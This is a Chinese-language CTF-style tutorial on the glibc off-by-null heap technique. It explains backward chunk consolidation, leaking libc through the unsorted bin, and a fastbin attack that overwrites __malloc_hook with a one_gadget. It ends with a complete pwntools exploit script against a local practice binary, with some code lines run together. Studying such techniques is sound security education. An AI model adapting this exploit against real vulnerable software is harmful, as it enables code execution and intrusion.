off-by-null(2.23)
off-by-null(2.23)
知识点
off-by-null其实就是特殊的off-by-one,只不过溢出的那一个字节指定为’\x00’,在off-by-one中我们是利用溢出的一个字节修改下一个堆块的size大小,从而达到向下吞并的效果,现在size被我们修改为’\x00’,那么堆块就会向上吞并, 吞并的大小为pre size的大小,当我们释放该堆块时,实际上是释放了这个堆块本身和它前面pre size大小的堆块。
例题
依旧采用经典菜单题,跟off-by-one用的一个例题,为了方便没有构造多溢出一个字节的漏洞,编辑堆块时可以自定义堆块大小,我们自己多加一个字节即可。先把菜单写好
先申请四个堆块,我们要通过修改1号堆块的内容溢出一个字节来修改2号堆块的pre size为0号加1号堆块的大小,size为’\x00’,从而实现向上吞并0号和1号堆块,3号堆块则是用来隔绝top chunk的
释放0号堆块,这一操作的目的是应对2号堆块向上吞并的检测,源码好像是要求吞并堆块的头部堆块的fd指针和bk指针指向同一位置,将堆块释放进unsorted bin恰好就满足了这一条件,这也就是0号堆块要大于0x80的原因。之后修改1号堆块,先把1号堆块的0x60填满,之后写入2号堆块的pre size,大小应该为0号加1号,也就是0xf8+0x8+0x68+0x8=0x170,那么就将pre size填入p64(0x170),给size填入’\x00’。然后释放2号堆块,那么实际上释放了2号,还有它前面0+1的大小的堆块进入到unsorted bin中。我们还没有泄露libc地址,现在只有1号堆块还没有进入bin中,那我们要想办法让1号堆块的fd指针挂载上libc地址,这里用到了和之前泄露libc地址不一样的思路,现在unsorted bin中的1号堆块并不是头指针,所以它的fd指针上还没有libc地址,接下来我们的操作是申请了一个0号堆块大小的堆块,这个堆块将会从unsorted bin中切割,切割后的unsorted bin中,1号堆块就成了头指针,它的fd指针上就会残留libc地址,那么我们show 1号堆块就可以得到libc地址。
接下来我们申请一个1号堆块大小的5号堆块,那么5号堆块和1号堆块其实指针指向是相同的,相当于有两个1号堆块,我们释放掉其中一个5号堆块,然后修改另一个为malloc_hook-0x23就完成了对fastbin中的5号堆块fd指针的修改,之后连续申请两次把malloc_hook申请出来,再挂载one_gadget进去,执行mallloc就完成攻击了
完整exp:
from pwn import *
io=process("./off-by-null")libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')context(os="linux",arch="amd64",log_level="debug")def add(index,size):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
add(0,0xF8) # -> chunk0add(1,0x68) # -> chunk1 -> size less than 0x80(fastbin)add(2,0xF8) # -> chunk2(>0x100)add(3,0x68) # -> chunk3 use for isolate top_chunk
delete(0)
edit(1,0x70,b"\x00"*(0x60) + p64(0x170) + b'\x00')
delete(2) # really is free(2) + free(1) + free(0)
add(4,0xF8) #really is add(0) unsortedbin has chunk1 + chunk2 -> so chunk1 fd is libc_addr
show(1)
leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))log.success('leak_addr is -->' + hex(leak_addr))
padding= 0x3c4b78
libc_base = leak_addr - paddinglog.success('libc_base is -->' + hex(libc_base))malloc_hook=libc_base+libc.sym['__malloc_hook']realloc=libc_base+libc.sym['realloc']
one_gadget=libc_base+0x4527a
add(5,0x68) # also is chunk1 -> so we have two chunk1
delete(5)
edit(1,0x10,p64(malloc_hook - 0x23))
add(6,0x68)
add(7,0x68)
edit(7,0x30,b"a"*0x13 + p64(one_gadget))
add(8,0x10)
io.interactive()




